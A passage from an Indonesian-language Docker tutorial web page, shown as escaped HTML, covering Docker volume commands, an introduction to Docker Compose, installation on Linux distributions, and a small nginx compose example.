&lt;/span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat informasi detail suatu volume:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;volume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inspect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;volume_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk menghapus volume:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;volume&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;volume_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker volume&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;676&quot; src=&quot;/_astro/ss32.B-GLUYmx_xxNMq.webp&quot; /&gt;&lt;figcaption&gt;docker volume&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker help&lt;a href=&quot;#docker-help&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Masih banyak lagi perintah-perintah &lt;em&gt;docker&lt;/em&gt; lainnya yang belum dibahas di artikel ini. Tapi, kalian dapat mengeksplorasinya sendiri dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;help&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Saya coba lampirkan juga video Youtube tutorial untuk pemula.&lt;br /&gt;
&lt;em&gt;Worth watching&lt;/em&gt;.&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Docker Compose&lt;a href=&quot;#docker-compose&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Docker Compose adalah sebuah alat dari Docker untuk mendefinisikan dan menjalankan banyak container dengan satu file konfigurasi.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt; Jadi, melalui Docker Compose, jika kita ingin menjalankan banyak container, kita gak perlu membuat perintah &lt;code&gt;docker run ...&lt;/code&gt; atau &lt;code&gt;docker start ...&lt;/code&gt; satu persatu, tapi cukup dengan satu perintah Docker Compose aja.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;At A Glance&lt;a href=&quot;#at-a-glance-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pada prakteknya, kita hanya perlu sebuah file konfigurasi (YAML file) yang dijalankan dengan Docker Compose, seperti ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker-compose.yml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Apa saja yang perlu “dideklarasikan” atau “didefinisikan” dalam file konfigurasi tersebut?  Berikut adalah &lt;strong&gt;3 komponen utama&lt;/strong&gt; yang ada di dalam file konfigurasi Docker Compose:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-11&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-12&quot;&gt;12&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Bagian &lt;code&gt;services&lt;/code&gt; digunakan untuk mendefinisikan setiap kontainer yang akan menjadi bagian dari aplikasi kita. Inilah &lt;em&gt;the pith of the configuration file&lt;/em&gt; alias bagian yang paling penting dalam file konfigurasi Docker Compose kita. Oleh kaerna karena itu, tanpa bagian &lt;code&gt;services&lt;/code&gt; ini, Docker Compose belum bisa berjalan.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Networks&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Bagian &lt;code&gt;networks&lt;/code&gt; digunakan untuk mendefinisikan jaringan Docker yang akan digunakan. Jika kita tidak mendefinisikan &lt;code&gt;networks&lt;/code&gt; di file konfigurasi, Docker akan otomatis menggunakan jaringan default-nya (bridge).&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Volumes&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Bagian &lt;code&gt;networks&lt;/code&gt; digunakan untuk mendefinisikan penyimpanan aplikasi yang tidak bergantung pada container. Artinya, data aplikasi tidak akan hilang meski kontainernya berhenti atau di-&lt;em&gt;restart&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Sehingga, nanti, secara umum, seperti inilah isi file &lt;code&gt;docker-compose.yml&lt;/code&gt; kalian:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;service1&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ports&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;service2&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;depends_on&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;networks&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sampai sini, kita tidak perlu khawatir jika masih belum memahami secara utuh komponen-komponen tersebut. Kita akan lihat secara langsung implementasinya di bagian-bagian berikutnya pada artikel ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;docker compose&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y docker-compose&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy docker-compose&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install docker-compose&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install docker-compose&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;docker-compose&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker-compose&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan &lt;code&gt;docker-compose&lt;/code&gt; sudah ter-&lt;em&gt;install&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker-compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# atau&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker compose version&quot; loading=&quot;lazy&quot; width=&quot;262&quot; height=&quot;232&quot; src=&quot;/_astro/ss26.x7KWGstz_DYy9e.webp&quot; /&gt;&lt;figcaption&gt;docker compose version&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Docker Compose juga bisa dilihat di &lt;em&gt;repository&lt;/em&gt; Github milik Docker:&lt;/p&gt;&lt;a href=&quot;https://github.com/docker/compose&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;docker&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;compose&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Essential Commands&lt;a href=&quot;#essential-commands-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum menjalankan perintah-perintah di bawah ini, kita perlu membuat sebuah skema untuk Docker Compose kita. Skemanya sederhana, saya akan menjalankan &lt;em&gt;container&lt;/em&gt; &lt;code&gt;nginx&lt;/code&gt; yang akan menampilkan halaman web berisi sebuah sapaan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-13&quot;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah struktur direktori skema ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;index.html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker-compose.yml&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut file konfigurasinya (&lt;code&gt;docker-compose.yml&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;nginx:alpine&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;&quot;8000:80&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;./app:/usr/share/nginx/html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;images: nginx: alpine&lt;/strong&gt;&lt;br /&gt;
Bagian ini artinya, kita akan membuat sebuah container bernama “web” yang akan menggunakan image “nginx” versi alpine (sehingga ukurannya kecil dan ringan).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ports: “8000&amp;lt;80&amp;gt;”&lt;/strong&gt;&lt;br /&gt;
Bagian ini artinya, kita akan &lt;em&gt;mapping&lt;/em&gt; port 80 di container ke port 8000 di host. Artinya, kalau saya buka &lt;a href=&quot;http://localhost:8000&quot; target=&quot;_blank&quot;&gt;http://localhost:8000&lt;/a&gt; di browser, sebenarnya saya sedang mengakses nginx di dalam container di port 80.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;volumes: ./app:/usr/share/nginx/html&lt;/strong&gt;&lt;br /&gt;
Bagian ini artinya, kita akan me-&lt;em&gt;mounting&lt;/em&gt; (memasang) folder/direktori &lt;code&gt;./app&lt;/code&gt; di komputer saya ke folder/direktori &lt;code&gt;/usr/share/nginx/html&lt;/code&gt; di dalam &lt;em&gt;container&lt;/em&gt;. Artinya, semua isi folder/direktori &lt;code&gt;./app&lt;/code&gt; akan langsung disajikan oleh &lt;code&gt;nginx&lt;/code&gt;, tanpa perlu &lt;em&gt;rebuild&lt;/em&gt; &lt;em&gt;container&lt;/em&gt;-nya.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Seperti terlihat, file konfigurasi Docker Compose ini hanya memiliki 1 dari 3 komponen utama yang sudah dijelaskan sebelumnya, yaitu &lt;code&gt;services&lt;/code&gt;. Meskipun demikian, Docker Compose sudah dapat berjalan karena bagian &lt;code&gt;services&lt;/code&gt; adalah bagian paling penting dalam file konfigurasi Docker Compose.&lt;/p&gt;&lt;p&gt;Berikut adalah file webnya (&lt;code&gt;app/index.html&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;index.html&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;!&lt;/span&gt;&lt;span&gt;doctype&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lang&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;en&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;head&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;meta&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;charset&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;&amp;gt;Docker Compose Demo&amp;lt;/&lt;/span&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rel&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;stylesheet&quot;&lt;/span&gt;&lt;span&gt; 